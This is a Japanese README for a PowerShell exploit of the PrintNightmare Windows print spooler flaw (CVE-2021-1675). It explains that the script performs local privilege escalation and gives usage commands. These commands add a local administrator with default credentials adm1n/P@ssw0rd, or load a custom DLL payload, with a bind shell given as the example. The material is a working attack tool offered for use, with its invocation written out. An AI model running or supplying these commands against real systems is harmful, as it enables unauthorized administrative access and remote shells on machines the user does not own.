
PowerShellスクリプトで、PrintNightmare脆弱性(CVE-2021-1675)を介してWindows上でローカル権限昇格を実行し、ローカル管理者ユーザーを追加したり、カスタムDLLペイロードを実行したりします。
Caleb Stewart | John Hammond | 2021年7月1日
CVE-2021-1675 は、「PrintNightmare」と呼ばれる重大なリモートコード実行およびローカル権限昇格の脆弱性です。
リモートコード実行機能に対する概念実証エクスプロイト(Python、C++)と、ローカル権限昇格用のC#版が公開されています。純粋なPowerShellによるネイティブ実装はまだ見かけていなかったため、エクスプロイトを改良・再構築してみることにしました。
このPowerShellスクリプトは、PrintNightmare攻撃手法を用いてローカル権限昇格(LPE)を実行します。

Windows Server 2016およびWindows Server 2019でテスト済みです。
デフォルトでローカル管理者グループに新しいユーザーを追加します:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # デフォルトでローカル管理者グループにユーザー `adm1n`/`P@ssw0rd` を追加
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
カスタムDLLペイロードを指定して、他の任意の操作を実行することもできます。
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"